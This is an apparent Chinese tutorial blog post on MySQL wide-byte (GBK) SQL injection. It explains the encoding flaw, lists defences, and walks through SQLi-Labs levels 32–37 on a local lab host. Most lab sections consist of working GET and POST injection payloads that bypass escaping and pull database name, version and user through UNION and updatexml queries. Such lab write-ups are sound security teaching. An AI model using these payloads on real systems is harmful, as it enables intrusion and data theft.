SqliLab_Mysql_Injection详解_字符型注入(十一)_宽字节注入(32~37)

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入(十一)
1.1. SQL注入_宽字节注入
1.2. 原理
  • GBK编码规则:GBK编码,编码的范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,字符 \ 的ASCII码为5C,在其低位范围内,就可能被转换为一个服务器数据库不识别的汉字,并且能和它组合的字符不仅只有0xdf,%815c/%825c/%835c等都可以进行宽字节注入;
  • Mysql在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符和,经过转义过后多出来的’'组合成两个字符,这个时候mysql数据库不识别字符,导致对单引号、双引号的转义失败,使其参数闭合;
1.3. 宽字节注入的形成过程
  • 使用PHP连接mysql时,当设置“set character_set_client=gbk”时会导致GBK编码转换的问题,当注入的参数里面带%df%27时,在魔术引号开关或者addslashes()函数(在特殊字符前加上转义号‘\’(%5c))的作用下,会将%df%27转换为%df%5c%27,此时%df%5c在服务端中解析后是一个汉字,数据库不识别该汉字,使得原本要被反斜杠转义的单引号,由于新加的字符和反斜杠组合成为了一个不被数据库识别的汉字,导致不会被转义(转义失效),进而成功闭合参数,可以使用(%bf,%df,%815c/%825c/%835c等);
    -有时候为了避免漏洞,网站数据库一般会设置UTF-8编码,然后进行转义过滤。但是由于一些不经意的字符集转换,又会导致漏洞出现;使用set NAMEs 'UTF-8’指定了UTF-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv()函数(字符串编码格式转换)先转换为UTF-8,然后再拼接入SQL语句。
    EG:
  • %e5%5c转换成UTF-8为e9%8c%a6;
  • %e5%5c%27经过addslashes()函数转变为(%e5%5c%5c%5c%27),在通过iconv()函数转换为(%e9%8c%a6%5c%5c%27),由于%5c为反斜杠,即为(%e9%8c%a6\%27),这里通过编码转换多出了一个%5c(反斜杠),将转义符(反斜杠)本身转义(转义失效),使得后面的%27单引号发挥了作用(成功闭合参数);
1.4. 宽字节注入漏洞的形成原因

在PHP连接mysql的时候执行了如下设置:

  • set character_set_client=gbk
  • set NAMES ‘GBK’ #等同于
    set character_set_connection=‘gbk’
    set character_set_results=‘gbk’
    set character_set_client=gbk
  • mysql_set_charset(‘gbk’) #还是调用的set NAMES
1.5. 宽字节注入的防御
  • 在执行查询前先执行SET NAMES ‘gbk’ ,character_set_client=binary,设置character_set_client为binary(incov函数的乱用还是会造成宽字节注入);
  • 使用mysql_set_charset(‘gbk’)设置编码,然后使用mysql_real_escape_string()函数对参数过滤(mysql_real_escape_string()与addslashes 的不同之处在于其会考虑当前设置的字符集);
  • 使用PDO方式,在PHP5.3.6及以下版本需要设置setAttrribute(PDO::ATTR_EMULATE_PREPARES,false),来禁用preparedsttatements的仿真效果;
2. SqliLab关卡(包含32,33,34,35,36,37)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-32(宽字节注入(单引号闭合)):
2.1.1. 初始界面

在这里插入图片描述

2.1.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-32/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-32/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-32/?id=1' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造;
http://192.168.1.104/sql/Less-32/?id=1%bf' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造的单引号前存在一个未被数据库识别的字符,尝试使用(1=2)进行构造,判断是否单引号是否被转义;
http://192.168.1.104/sql/Less-32/?id=1%bf' and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-32/?id=1%df'))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在preg_replace()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.1.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-32/?id=1%bf'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-32/?id=0%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.1.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-32/?id=0%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-32结束;

2.2. SqliLab-33(宽字节注入(单引号闭合)):
2.2.1. 初始界面

2.2.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-33/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-33/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-33/?id=1' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造;
http://192.168.1.104/sql/Less-33/?id=1%bf' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造的单引号前存在一个未被数据库识别的字符,尝试使用(1=2)进行构造,判断是否单引号是否被转义;
http://192.168.1.104/sql/Less-33/?id=1%bf' and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-33/?id=1%df'))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在addslashes()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.2.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-33/?id=1%bf'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-33/?id=0%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.2.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-33/?id=0%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-33结束;

2.3. SqliLab-34(POST型_宽字节注入(单引号闭合)):
2.3.1. 初始界面

在这里插入图片描述

2.3.2. 判断注入点(关键步骤)

观察发现是POST型数据传送,通过浏览器的开发者工具发现传送,参数为(uname)和(passwd)以及(submit=Submit),尝试对其中的参数进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

uname=1 or 1=1 %23&passwd=1&submit=Submit
//服务器返回错误(预期正确),尝试使用(')替换()进行构造;
uname=1' or 1=1 %23&passwd=1&submit=Submit
//服务器返回错误(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造;
uname=a%bf' or 1=1 %23&passwd=a&submit=Submit
//服务器返回正确(预期正确),判断出(%bf)可以使单引号转义失效,尝试使用(1=2)进行构造,判断是否是注入点;
uname=a%bf' or 1=2 %23&passwd=a&submit=Submit
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
判断是否存在SQL语句报错提示
EG:

uname=a%bf'))) or 1=1 %23&passwd=a&submit=Submit
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在addslashes()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.3.3. 使用UNION联合查询获取数据库信息

EG:

...
uname=a%bf' order by 1,2,3 %23&passwd=a&submit=Submit
//服务器返回页面错误,判断出字段数为(2),使用union联合查询获取信息;
uname=a%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c) %23&passwd=a&submit=Submit
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

在这里插入图片描述

2.3.4. 使用报错注入获取数据库信息

EG:

uname=a%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&passwd=a&submit=Submit
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

在这里插入图片描述
获取其他信息的方法如上面示例的一样,至此,SqliLab-34结束;

2.4. SqliLab-35(数字型_宽字节注入(无闭合字符)):
2.4.1. 初始界面

在这里插入图片描述

2.4.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-35/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-33/?id=1 and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,无闭合字符;

判断是否存在对特殊字符的转义
EG:

http://192.168.1.104/sql/Less-35/?id=1' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造;
http://192.168.1.104/sql/Less-35/?id=1%bf' and 1=1 --+
//服务器返回错误(预期错误),发现单引号未被转义;
//经过判断,存在对特殊字符的转义;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-35/?id=1))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,无闭合字符(数字型注入),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在addslashes()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.4.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-35/?id=1 order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-35/?id=0 union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.4.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-35/?id=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-35结束;

2.5. SqliLab-36(宽字节注入(单引号闭合)):
2.5.1. 初始界面

在这里插入图片描述

2.5.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-36/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-36/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-36/?id=1' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造;
http://192.168.1.104/sql/Less-36/?id=1%bf' and 1=1 --+
//服务器返回正确(预期正确),同时发现构造的单引号前存在一个未被数据库识别的字符,尝试使用(1=2)进行构造,判断是否单引号是否被转义;
http://192.168.1.104/sql/Less-36/?id=1%bf' and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-36/?id=1%df'))) and 1=1 --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在mysql_real_escape_string()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.5.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-36/?id=1%bf'order by 1,2,3,4 --+
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-36/?id=0%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.5.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-36/?id=0%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-36结束;

2.6. SqliLab-37(POST型_宽字节注入(单引号闭合)):
2.6.1. 初始界面

在这里插入图片描述

2.6.2. 判断注入点(关键步骤)

观察发现是POST型数据传送,通过浏览器的开发者工具发现传送,参数为(uname)和(passwd)以及(submit=Submit),尝试对其中的参数进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

uname=1 or 1=1 %23&passwd=1&submit=Submit
//服务器返回错误(预期正确),尝试使用(')替换()进行构造;
uname=1' or 1=1 %23&passwd=1&submit=Submit
//服务器返回错误(预期正确),同时发现构造语句中的单引号(')被加上了反斜杠(\),尝试使用(%bf)组合单引号,进行进行构造;
uname=a%bf' or 1=1 %23&passwd=a&submit=Submit
//服务器返回正确(预期正确),判断出(%bf)可以使单引号转义失效,尝试使用(1=2)进行构造,判断是否是注入点;
uname=a%bf' or 1=2 %23&passwd=a&submit=Submit
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示
EG:

uname=a%bf'))) or 1=1 %23&passwd=a&submit=Submit
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),后台能对特殊字符进行转义,在特殊字符前添加(%bf)(观察后台源码可以发现存在mysql_real_escape_string()函数),使其转义失效,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息,下面进行测试;

2.6.3. 使用UNION联合查询获取数据库信息

EG:

...
uname=a%bf'order by 1,2,3 %23&passwd=a&submit=Submit
//服务器返回页面错误,判断出字段数为(2),使用union联合查询获取信息;
uname=a%df'union select 1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c) %23&passwd=a&submit=Submit
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.6.4. 使用报错注入获取数据库信息

EG:

uname=a%df'and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) %23&passwd=a&submit=Submit
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-37结束;

3. 总结

经过测试发现,这几种函数addslashes()、mysql_real_escape_string()、replace()都存在有类似的绕过方式(在特殊字符前添加%bf,%df,%815c,%825c,%835c等使其转义失效然后绕过),对于宽字节注入的绕过等还是要从编码下手,不管是GBK转换UTF-8 ,还是UTF-8 转换GBK,都会由于编码的问题产生宽字节注入,防御最好采用预编译的方式,最后老话长谈,还是注重于注入点的判断,GET型直接构造payload,POST型需要抓包改包(在数据包中构造payload),使用注入的方式取决于注入点时收集的信息的多与少。

[如有错误,请指出,拜托了<( _ _ )> !!!]

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值